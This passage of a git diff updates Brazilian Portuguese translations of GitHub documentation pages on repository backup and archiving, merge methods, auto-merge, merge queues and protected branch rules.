-intro: 'You can use{% ifversion ghes or ghae %} Git and{% endif %} the API {% ifversion fpt or ghec %}or a third-party tool {% endif %}to back up your repository.'
+intro: 'Você pode usar o{% ifversion ghes or ghae %} Git e{% endif %} a API {% ifversion fpt or ghec %}ou uma ferramenta de terceiros {% endif %}para fazer backup do seu repositório.'
 redirect_from:
   - /articles/backing-up-a-repository
   - /github/creating-cloning-and-archiving-repositories/backing-up-a-repository
@@ -24,7 +24,7 @@ Você pode baixar e fazer backup dos repositórios manualmente:
 - Para baixar os dados Git de um repositório no computador local, é preciso clonar o repositório. Para obter mais informações, consulte "[Clonar um repositório](/articles/cloning-a-repository)".
 - Também é possível baixar o wiki do repositório. Para obter mais informações, consulte "[Adicionar ou editar páginas wiki](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)".
 
-Quando você clona um repositório ou wiki, somente os dados Git, como arquivos e histórico de commits do projeto, são baixados. You can use our API to export other elements of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to your local machine:
+Quando você clona um repositório ou wiki, somente os dados Git, como arquivos e histórico de commits do projeto, são baixados. Você pode usar nossa API para exportar outros elementos do seu repositório em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} para a sua máquina local:
 
 - [Problemas](/rest/reference/issues#list-issues-for-a-repository)
 - [Pull requests](/rest/reference/pulls#list-pull-requests)
diff --git a/translations/pt-BR/content/repositories/archiving-a-github-repository/index.md b/translations/pt-BR/content/repositories/archiving-a-github-repository/index.md
index 753b40a4bf..3e2ec54374 100644
--- a/translations/pt-BR/content/repositories/archiving-a-github-repository/index.md
+++ b/translations/pt-BR/content/repositories/archiving-a-github-repository/index.md
@@ -1,6 +1,6 @@
 ---
-title: Archiving a GitHub repository
-intro: 'You can archive, back up, and cite your work using {% data variables.product.product_name %}, the API, or third-party tools and services.'
+title: Arquivar um repositório do GitHub
+intro: 'Você pode arquivar, fazer backup e citar seu trabalho usando o {% data variables.product.product_name %}, a API ou ferramentas e serviços de terceiros.'
 redirect_from:
   - /articles/can-i-archive-a-repository
   - /articles/archiving-a-github-repository
@@ -18,6 +18,6 @@ children:
   - /about-archiving-content-and-data-on-github
   - /referencing-and-citing-content
   - /backing-up-a-repository
-shortTitle: Archive a repository
+shortTitle: Arquivar um repositório
 ---
 
diff --git a/translations/pt-BR/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md b/translations/pt-BR/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md
index f5d40a231b..221d96d41a 100644
--- a/translations/pt-BR/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md
+++ b/translations/pt-BR/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md
@@ -15,7 +15,7 @@ shortTitle: Referência & citar conteúdo
 
 ## Emitir um identificador persistente para o repositório com o Zenodo
 
-Para facilitar o referenciamento dos seus repositórios na literatura acadêmica, você pode criar identificadores persistentes, também conhecidos como identificadores de objetos digitais (DOIs). You can use the data archiving tool [Zenodo](https://zenodo.org/about) to archive a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and issue a DOI for the archive.
+Para facilitar o referenciamento dos seus repositórios na literatura acadêmica, você pode criar identificadores persistentes, também conhecidos como identificadores de objetos digitais (DOIs). Você pode utilizar a ferramenta de arquivamento de dados [Zenodo](https://zenodo.org/about) para arquivar um repositório em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} e emitir um DOI para o arquivo.
 
 {% tip %}
 
diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md
index 7f5e2476d2..4496ae097d 100644
--- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md
+++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md
@@ -20,7 +20,7 @@ shortTitle: Sobre métodos de merge
 {% ifversion fpt or ghec %}
 {% note %}
 
-**Note:** When using the merge queue, you no longer get to choose the merge method, as this is controlled by the queue. {% data reusables.pull_requests.merge-queue-references %}
+**Observação:** Ao usar a fila de merge, você não poderá mais escolher o método de merge, uma vez que isso é controlado pela fila. {% data reusables.pull_requests.merge-queue-references %}
 
 {% endnote %}
 {% endif %}
diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md
index 1b863c2771..0e220bf3e8 100644
--- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md
+++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing auto-merge for pull requests in your repository
-intro: You can allow or disallow auto-merge for pull requests in your repository.
+title: Gerenciando merge automático para pull requests no seu repositório
+intro: Você pode permitir ou impedir um merge automático de pull requests em seu repositório.
 product: '{% data reusables.gated-features.auto-merge %}'
 versions:
   fpt: '*'
@@ -13,17 +13,17 @@ topics:
 redirect_from:
   - /github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository
   - /github/administering-a-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository
-shortTitle: Manage auto merge
+shortTitle: Gerenciar merge automático
 ---
-## About auto-merge
 
-If you allow auto-merge for pull requests in your repository, people with write permissions can configure individual pull requests in the repository to merge automatically when all merge requirements are met. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}If someone who does not have write permissions pushes changes to a pull request that has auto-merge enabled, auto-merge will be disabled for that pull request. {% endif %}For more information, see "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)."
+## Sobre o merge automático
 
-## Managing auto-merge
+Se você permitir uma merge automático para pull requests no seu repositório, as pessoas com permissões de gravação poderão configurar pull requests individuais no repositório para fazer merge automaticamente quando todos os requisitos de merge forem atendidos. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}Se alguém que não tiver permissão de gravação fizer push de um pull request que tenha merge automático habilitado, o merge automático será desabilitado para esse pull request. {% endif %}Para obter mais informações, consulte "[Fazer merge automático de um pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)".
+
+## Gerenciar merge automático
 
 {% data reusables.pull_requests.auto-merge-requires-branch-protection %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-1. Under "Merge button", select or deselect **Allow auto-merge**.
-  ![Checkbox to allow or disallow auto-merge](/assets/images/help/pull_requests/allow-auto-merge-checkbox.png)
+1. Em "Botão de merge", selecione ou desmarque a opção **Permitir merge automático**. ![Caixa de seleção para permitir ou impedir merge automático](/assets/images/help/pull_requests/allow-auto-merge-checkbox.png)
diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md
index 6f1a34c11c..bc860fdaf2 100644
--- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md
+++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md
@@ -1,6 +1,6 @@
 ---
-title: Using a merge queue
-intro: You can increase development velocity by enabling merge queues for pull requests in your repository.
+title: Usando uma fila de merge
+intro: É possível aumentar a velocidade de desenvolvimento permitindo o merge das filas para pull requests no seu repositório.
 versions:
   fpt: '*'
   ghec: '*'
@@ -8,18 +8,18 @@ permissions: People with admin permissions can configure merge queues for pull r
 topics:
   - Repositories
   - Pull requests
-shortTitle: Use merge queue
+shortTitle: Usar fila de merge
 ---
 
 {% data reusables.pull_requests.merge-queue-beta %}
 
-## About pull request merge queue
+## Sobre a a fila de merge do pull request
 
 {% data reusables.pull_requests.merge-queue-overview %}
 
-The merge queue creates temporary preparatory branches to validate pull requests against the latest version of the base branch. To ensure that {% data variables.product.prodname_dotcom %} validates these preparatory branches, you may need to update your CI configuration to trigger builds on branch names starting with `gh/readonly/queue/{base_branch}`. 
+A fila de merge cria branches preparatórios temporários para validar pull requests com a versão mais recente do branch base. Para garantir que {% data variables.product.prodname_dotcom %} valide esses branches preparatórios, talvez você precise atualizar sua configuração de CI para acionar croações em nomes de ramificações que começam com `gh/readonly/queue/{base_branch}`.
 
-For example, with {% data variables.product.prodname_actions %}, adding the following trigger to a workflow will cause the workflow to run when any push is made to a merge queue preparatory branch that targets `main`.
+Por exemplo, com {% data variables.product.prodname_actions %}, adicionar a opção a seguir no fluxo de trabalho fará com que o fluxo de trabalho seja executado quando qualquer push for feito em um branch preparatório da fila de merge que tem o `principal` como destino.
 
 ```
 on:
@@ -30,25 +30,25 @@ on:
 
 {% data reusables.pull_requests.merge-queue-merging-method %}
 
-For information about merge methods, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)." For information about the "Require linear history" branch protection setting, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-linear-history)."
+Para obter informações sobre métodos de merge, consulte "[Sobre merges de pull requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)". Para obter informações sobre a configuração de proteção do branch "Exigir histórico linear", consulte "[Sobre branches protegidos](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-linear-history)".
 
-{% note %} 
+{% note %}
 
-**Note:** During the beta, there are some limitations when using the merge queue:
+**Observação:** durante o beta, existem algumas limitações ao usar a fila de merge:
 
-* The merge queue cannot be enabled on branch protection rules using wildcards (`*`) in the name.
-* There is no support for squash merge commits. (Only merge commits and "rebase and merge" commits are supported.)
+* A fila de mergenão pode ser habilitada nas regras de proteção do branch que usam curinga (`*`) no nome.
+* Não há suporte para os commits de merge de combinação por squash. (Somente commits de merge e commits de "rebase e merge" são compatíveis.)
 
 {% endnote %}
 
 {% data reusables.pull_requests.merge-queue-reject %}
-## Managing pull request merge queue
+## Gerenciando a fila de merge do pull request
 
-Repository administrators can configure merge queues for pull requests targeting selected branches of a repository. The requirement to use a merge queue is a branch protection setting called "Require merge queue" that can be enabled in branch protection rules.
+Os administradores de repositório podem configurar filas de merge para pull requests direcionando branches selecionados de um repositório. O requisito para usar uma fila de merge é uma configuração de proteção de branch denominado "Exigir fila de merge" que pode ser habilitado nas regras de proteção do branch.
 
-For information about how to enable the merge queue protection setting, see "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule#creating-a-branch-protection-rule)."
+Para obter informações sobre como habilitar a configuração de proteção de fila de merge, consulte "[Gerenciando uma regra de proteção de branch](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule#creating-a-branch-protection-rule). "
 
-## Further reading
+## Leia mais
 
-- "[Adding a pull request to the merge queue](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue)"
-- "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)"
+- "[Adicionando uma pull request à fila de merge](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue)"
+- "[Sobre branches protegidos](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)"
diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
index 08f567b7b3..e328b27cbe 100644
--- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
+++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
@@ -1,6 +1,6 @@
 ---
-title: About protected branches
-intro: 'You can protect important branches by setting branch protection rules, which define whether collaborators can delete or force push to the branch and set requirements for any pushes to the branch, such as passing status checks or a linear commit history.'
+title: Sobre branches protegidos
+intro: 'Você pode proteger branches importantes definindo regras de proteção de branch, que definem se os colaboradores podem excluir ou forçar push para o branch e definem os requisitos para todos os pushes para o branch, tais como verificações de status de passagem ou um histórico linear de commits.'
 product: '{% data reusables.gated-features.protected-branches %}'
 redirect_from:
   - /articles/about-protected-branches
@@ -25,158 +25,159 @@ versions:
 topics:
   - Repositories
 ---
-## About branch protection rules
 
-You can enforce certain workflows or requirements before a collaborator can push changes to a branch in your repository, including merging a pull request into the branch, by creating a branch protection rule.
+## Sobre as regras de proteção do branch
 
-By default, each branch protection rule disables force pushes to the matching branches and prevents the matching branches from being deleted. You can optionally disable these restrictions and enable additional branch protection settings.
+É possível aplicar certos fluxos de trabalho ou requisitos antes que um colaborador possa fazer push de alterações em um branch no repositório, incluindo o merge de um pull request no branch, criando uma regra de proteção de branch.
 
-By default, the restrictions of a branch protection rule don't apply to people with admin permissions to the repository. You can optionally choose to include administrators, too.
+Por padrão, cada regra de proteção de branch desabilita push forçado para os branches correspondentes e impede que os branches correspondentes sejam excluídos. Você pode, opcionalmente, desabilitar essas restrições e habilitar configurações adicionais de proteção de branches.
 
-{% data reusables.repositories.branch-rules-example %} For more information about branch name patterns, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)."
+Por padrão, as restrições de uma regra de proteção de branch não se aplicam a pessoas com permissões de administrador para o repositório. Opcionalmente, você também pode escolher incluir administradores.
+
+{% data reusables.repositories.branch-rules-example %} Para obter mais informações sobre os padrões de nomes do branch, consulte "[Gerenciar uma regra de proteção de branch](/github/administering-a-repository/managing-a-branch-protection-rule)".
 
 {% data reusables.pull_requests.you-can-auto-merge %}
 
-## About branch protection settings
+## Sobre as configurações de proteção do branch
 
-For each branch protection rule, you can choose to enable or disable the following settings.
-- [Require pull request reviews before merging](#require-pull-request-reviews-before-merging)
-- [Require status checks before merging](#require-status-checks-before-merging)
+Para cada regra de proteção do branch, você pode escolher habilitar ou desabilitar as seguintes configurações.
+- [Exigir revisões de pull request antes do merge](#require-pull-request-reviews-before-merging)
+- [Exigir verificações de status antes do merge](#require-status-checks-before-merging)
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-- [Require conversation resolution before merging](#require-conversation-resolution-before-merging){% endif %}
-- [Require signed commits](#require-signed-commits)
-- [Require linear history](#require-linear-history)
+- [Exigir resolução de conversas antes do merge](#require-conversation-resolution-before-merging){% endif %}
+- [Exigir commits assinados](#require-signed-commits)
+- [Exigir histórico linear](#require-linear-history)
 {% ifversion fpt or ghec %}
-- [Require merge queue](#require-merge-queue)
+- [Exigir uma fila de fusão](#require-merge-queue)
 {% endif %}
-- [Include administrators](#include-administrators)
-- [Restrict who can push to matching branches](#restrict-who-can-push-to-matching-branches)
-- [Allow force pushes](#allow-force-pushes)
-- [Allow deletions](#allow-deletions)
+- [Incluir administradores](#include-administrators)
+- [Restringir quem pode fazer push para branches correspondentes](#restrict-who-can-push-to-matching-branches)
+- [Permitir push forçado](#allow-force-pushes)
+- [Permitir exclusões](#allow-deletions)
 
-For more information on how to set up branch protection, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)."
+Para obter mais informações sobre como configurar a proteção de branches, consulte "[Gerenciar uma regra de proteção de branch](/github/administering-a-repository/managing-a-branch-protection-rule)".
 
-### Require pull request reviews before merging
+### Exigir revisões de pull request antes do merge
 
 {% data reusables.pull_requests.required-reviews-for-prs-summary %}
 
-If you enable required reviews, collaborators can only push changes to a protected branch via a pull request that is approved by the required number of reviewers with write permissions.
+Se você habilitar as revisões necessárias, os colaboradores só podem fazer push das alterações em um branch protegido por meio de um pull request aprovado pelo número necessário de revisores com permissões de gravação.
 
-If a person with admin permissions chooses the **Request changes** option in a review, then that person must approve the pull request before the pull request can be merged. If a reviewer who requests changes on a pull request isn't available, anyone with write permissions for the repository can dismiss the blocking review.
+Se uma pessoa com permissões de administrador escolher a opção **Solicitar alterações** em uma revisão, essa pessoa deverá aprovar o pull request antes que o merge possa ser efetuado. Se um revisor que solicita alterações em um pull request não estiver disponível, qualquer pessoa com permissões de gravação no repositório poderá ignorar a revisão de bloqueio.
 
 {% data reusables.repositories.review-policy-overlapping-commits %}
 
-If a collaborator attempts to merge a pull request with pending or rejected reviews into the protected branch, the collaborator will receive an error message.
+Se um colaborador tentar fazer merge de um pull request com revisões pendentes ou rejeitadas no branch protegido, o colaborador receberá uma mensagem de erro.
 
 ```shell
 remote: error: GH006: Protected branch update failed for refs/heads/main.
 remote: error: Changes have been requested.
 ```
 
-Optionally, you can choose to dismiss stale pull request approvals when commits are pushed. If anyone pushes a commit that modifies code to an approved pull request, the approval will be dismissed, and the pull request cannot be merged. This doesn't apply if the collaborator pushes commits that don't modify code, like merging the base branch into the pull request's branch. For information about the base branch, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+Opcionalmente, você pode escolher ignorar as aprovações de pull request obsoletas quando commits são enviados por push. Se alguém fizer push de um commit que modifica código para um pull request aprovado, a aprovação será ignorada e o pull request não poderá ser mesclado. Isso não se aplica se o colaborador fizer push de commits que não modificam código, como mesclar o branch de base no branch do pull request. Para obter mais informações sobre branch base, consulte "[Sobre pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)".
 
-Optionally, you can restrict the ability to dismiss pull request reviews to specific people or teams. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)."
+Opcionalmente, você pode restringir a capacidade de ignorar comentários de pull request para pessoas ou equipes específicas. Para obter mais informações, consulte "[Ignorar uma revisão de pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)".
 
-Optionally, you can choose to require reviews from code owners. If you do, any pull request that affects code with a code owner must be approved by that code owner before the pull request can be merged into the protected branch.
+Opcionalmente, você pode optar por exigir análises dos proprietários do código. Se você o fizer, qualquer pull request que afeta código com o proprietário do código deverá ser aprovado pelo proprietário desse código antes que o pull request possa ser mesclada no branch protegido.
 
-### Require status checks before merging
+### Exigir verificações de status antes do merge
 
-Required status checks ensure that all required CI tests are passing before collaborators can make changes to a protected branch. Required status checks can be checks or statuses. For more information, see "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)."
+As verificações de status obrigatórias garantem que todos os testes de CI sejam aprovados antes que os colaboradores possam fazer alterações em um branch protegido. Para obter mais informações, consulte "[Configurar branches protegidos](/articles/configuring-protected-branches/)" e "[Habilitar verificações de status obrigatórias](/articles/enabling-required-status-checks)". Para obter mais informações, consulte "[Sobre verificações de status](/github/collaborating-with-issues-and-pull-requests/about-status-checks)".
 
-Before you can enable required status checks, you must configure the repository to use the status API. For more information, see "[Repositories](/rest/reference/repos#statuses)" in the REST documentation.
+Antes de habilitar as verificações de status necessárias, é necessário configurar o repositório para usar a API de status. Para obter mais informações, consulte "[Repositórios](/rest/reference/repos#statuses)" na documentação do REST.
 
-After enabling required status checks, all required status checks must pass before collaborators can merge changes into the protected branch. After all required status checks pass, any commits must either be pushed to another branch and then merged or pushed directly to the protected branch.
+Depois de habilitar a verificação de status obrigatória, todas as verificações de status necessárias deverão passar para que os colaboradores possam fazer merge das alterações no branch protegido. Depois que todas as verificações de status necessárias passarem, quaisquer commits devem ser enviados por push para outro branch e, em seguida, mesclados ou enviados por push diretamente para o branch protegido.
 
-Any person or integration with write permissions to a repository can set the state of any status check in the repository{% ifversion fpt or ghes > 3.3 or ghae-issue-5379 or ghec %}, but in some cases you may only want to accept a status check from a specific {% data variables.product.prodname_github_app %}. When you add a required status check, you can select an app that has recently set this check as the expected source of status updates.{% endif %} If the status is set by any other person or integration, merging won't be allowed. If you select "any source", you can still manually verify the author of each status, listed in the merge box.
+Qualquer pessoa ou integração com permissões de gravação em um repositório pode definir o estado de qualquer verificação de status no repositório{% ifversion fpt or ghes > 3.3 or ghae-issue-5379 or ghec %}, mas em alguns casos você só pode aceitar uma verificação de status de um {% data variables.product.prodname_github_app %} específico. Ao adicionar a verificação de status necessária, você pode selecionar um aplicativo que definiu essa verificação recentemente como a fonte esperada de atualizações de status.{% endif %} Se o status for definido por qualquer outra pessoa ou integração, o merge não será permitido. Se você selecionar "qualquer fonte", você ainda pode verificar manualmente o autor de cada status, listado na caixa de merge.
 
-You can set up required status checks to either be "loose" or "strict." The type of required status check you choose determines whether your branch is required to be up to date with the base branch before merging.
+Você pode configurar as verificações de status obrigatórias como "flexível" ou "rígida". O tipo de verificação de status obrigatória que você escolher determinará se o branch precisará ser atualizado com o branch base antes do merge.
 
-| Type of required status check | Setting | Merge requirements | Considerations |
-| --- | --- | --- | --- |
-| **Strict** | The **Require branches to be up to date before merging** checkbox is checked. | The branch **must** be up to date with the base branch before merging. | This is the default behavior for required status checks. More builds may be required, as you'll need to bring the head branch up to date after other collaborators merge pull requests to the protected base branch.|
-| **Loose** | The **Require branches to be up to date before merging** checkbox is **not** checked. | The branch **does not** have to be up to date with the base branch before merging. | You'll have fewer required builds, as you won't need to bring the head branch up to date after other collaborators merge pull requests. Status checks may fail after you merge your branch if there are incompatible changes with the base branch. |
-| **Disabled** | The **Require status checks to pass before merging** checkbox is **not** checked. | The branch has no merge restrictions. | If required status checks aren't enabled, collaborators can merge the branch at any time, regardless of whether it is up to date with the base branch. This increases the possibility of incompatible changes.
+| Tipo de verificação de status obrigatória | Configuração                                                                                                                                                  | Requisitos de merge                                                    | Considerações                                                                                                                                                                                                                                                                                |
+| ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Rígida**                                | A caixa de seleção **Exigir a atualização dos branches antes de fazer merge** fica marcada.                                                                   | O branch **precisa** ser atualizado no branch base antes do merge.     | Este é o comportamento padrão para verificações de status obrigatórias. Podem ser necessárias mais compilações, já que você precisará atualizar o branch head depois que outros colaboradores fizerem merge de pull requests no branch base protegido.                                       |
+| **Flexível**                              | A caixa de seleção **Exigir a atualização dos branches antes de fazer merge** **não** fica marcada.                                                           | O branch **não precisa** ser atualizado no branch base antes do merge. | Serão necessárias menos compilações, já que você não precisará atualizar o branch head depois que outros colaboradores fizerem merge de pull requests. As verificações de status poderão falhar depois que você fizer merge do branch, caso haja alterações incompatíveis com o branch base. |
+| **Desabilitada**                          | A caixa de seleção **Require status checks to pass before merging** (Exigir verificações de status para aprovação antes de fazer merge) **não** fica marcada. | O branch não tem restrições de merge.                                  | Se as verificações de status obrigatórias não estiverem habilitadas, os colaboradores poderão fazer merge do branch a qualquer momento, estando ou não atualizados com o branch base. Isso aumenta a possibilidade de alterações incompatíveis.                                              |
 
-For troubleshooting information, see "[Troubleshooting required status checks](/github/administering-a-repository/troubleshooting-required-status-checks)."
+Para obter informações sobre a solução de problemas, consulte "[Solucionar problemas para as verificações de status obrigatórias](/github/administering-a-repository/troubleshooting-required-status-checks)".
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-### Require conversation resolution before merging
+### Exigir resolução de conversa antes de merge
 
-Requires all comments on the pull request to be resolved before it can be merged to a protected branch. This ensures that all comments are addressed or acknowledged before merge.
+Exige que todos os comentários no pull request sejam resolvidos antes de poder fazer merge em um branch protegido. Isso garante que todos os comentários sejam resolvidos ou reconhecidos antes do merge.
 {% endif %}
 
-### Require signed commits
+### Exigir commits assinados
 
-When you enable required commit signing on a branch, contributors {% ifversion fpt or ghec %}and bots{% endif %} can only push commits that have been signed and verified to the branch. For more information, see "[About commit signature verification](/articles/about-commit-signature-verification)."
+Ao habilitar a assinatura de commit obrigatória em um branch, os contribuidores {% ifversion fpt or ghec %}e bots{% endif %} só podem fazer push de commits que foram assinados e verificados no branch. Para obter mais informações, consulte "[Sobre verificação de assinatura commit](/articles/about-commit-signature-verification)".
 
 {% note %}
 
 {% ifversion fpt or ghec %}
-**Notes:** 
+**Notas:**
 
-* If you have enabled vigilant mode, which indicates that your commits will always be signed, any commits that {% data variables.product.prodname_dotcom %} identifies as "Partially verified" are permitted on branches that require signed commits. For more information about vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)."
-* If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch.
+* Se você habilitou o modo vigilante, que indica que seus commits serão sempre assinados, todos os commits que {% data variables.product.prodname_dotcom %} indentificar como "parcialmente verificado" serão permitidos em branches que exijam commits assinados. Para obter mais informações sobre o modo vigilante, consulte "[Exibir status de verificação para todos os seus commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)".
+* Se um colaborador fizer push de um commit não assinado para um branch que exige assinaturas de commit, o colaborador deverá fazer rebase do commit para incluir uma assinatura verificada e, em seguida, fazer push forçado no commit reescrito para o branch.
 
 {% else %}
-**Note:** If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch.
+**Observação:** Se um colaborador fizer push de um commit não assinado para um branch que exige assinaturas de commit, o colaborador deverá fazer rebase do commit para incluir uma assinatura verificada e, em seguida, fazer push forçado no commit reescrito para o branch.
 {% endif %}
 
 {% endnote %}
 
-You can always push local commits to the branch if the commits are signed and verified. {% ifversion fpt or ghec %}You can also merge signed and verified commits into the branch using a pull request on {% data variables.product.product_name %}. However, you cannot squash and merge a pull request into the branch on {% data variables.product.product_name %} unless you are the author of the pull request.{% else %} However, you cannot merge pull requests into the branch on {% data variables.product.product_name %}.{% endif %} You can {% ifversion fpt or ghec %}squash and {% endif %}merge pull requests locally. For more information, see "[Checking out pull requests locally](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)."
+Você sempre pode fazer push de commits locais para o branch se os commits forem assinados e verificados. {% ifversion fpt or ghec %}Você também pode mesclar commits assinados e verificados no branch usando uma pull request no {% data variables.product.product_name %}. No entanto, você não pode combinar por squash e fazer o merge de uma pull request no branch em {% data variables.product.product_name %}, a menos que você seja o autor da pull request.{% else %} No entanto, você não pode mesclar as pull requests no branch no {% data variables.product.product_name %}.{% endif %} Você pode {% ifversion fpt or ghec %}combinar por squash e {% endif %}merge pull requests localmente. Para obter mais informações, consulte "[Fazer checkout de pull requests localmente](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)".
 
-{% ifversion fpt or ghec %} For more information about merge methods, see "[About merge methods on {% data variables.product.prodname_dotcom %}](/github/administering-a-repository/about-merge-methods-on-github)."{% endif %}
+{% ifversion fpt or ghec %} Para obter mais informações sobre métodos de merge, consulte "[Sobre métodos de merge em {% data variables.product.prodname_dotcom %}](/github/administering-a-repository/about-merge-methods-on-github){% endif %}
 
-### Require linear history
+### Exigir histórico linear
 
-Enforcing a linear commit history prevents collaborators from pushing merge commits to the branch. This means that any pull requests merged into the protected branch must use a squash merge or a rebase merge. A strictly linear commit history can help teams reverse changes more easily. For more information about merge methods, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)."
+Aplicar o histórico linear de commit impede que os colaboradores façam push de commits de merge no branch. Isto significa que quaisquer pull requests mesclada no branch protegido devem usar um merge squash ou um merge rebase. Um histórico de commit estritamente linear pode ajudar as equipes a reverter alterações mais facilmente. Para obter mais informações sobre métodos de merge, consulte "[Sobre merges de pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)".
 
-Before you can require a linear commit history, your repository must allow squash merging or rebase merging. For more information, see "[Configuring pull request merges](/github/administering-a-repository/configuring-pull-request-merges)."
+Antes de exigir um histórico de commit linear, seu repositório deve permitir merge squash ou merge rebase. Para obter mais informações, consulte "[Configurando merges da pull request](/github/administering-a-repository/configuring-pull-request-merges)".
 
 {% ifversion fpt or ghec %}
-### Require merge queue
+### Exigir uma fila de fusão
 
 {% data reusables.pull_requests.merge-queue-beta %}
 {% data reusables.pull_requests.merge-queue-overview %}
- 
+
 {% data reusables.pull_requests.merge-queue-merging-method %}
 {% data reusables.pull_requests.merge-queue-references %}
 
 {% endif %}
-### Include administrators
+### Incluir administradores
 
-By default, protected branch rules do not apply to people with admin permissions to a repository. You can enable this setting to include administrators in your protected branch rules.
+Por padrão, as regras de branch protegidos não se aplicam a pessoas com permissões de administrador em um repositório. Você pode habilitar essa configuração para incluir administradores em suas regras de branch protegido.
 
-### Restrict who can push to matching branches
+### Restringir quem pode fazer push para branches correspondentes
 
 {% ifversion fpt or ghec %}
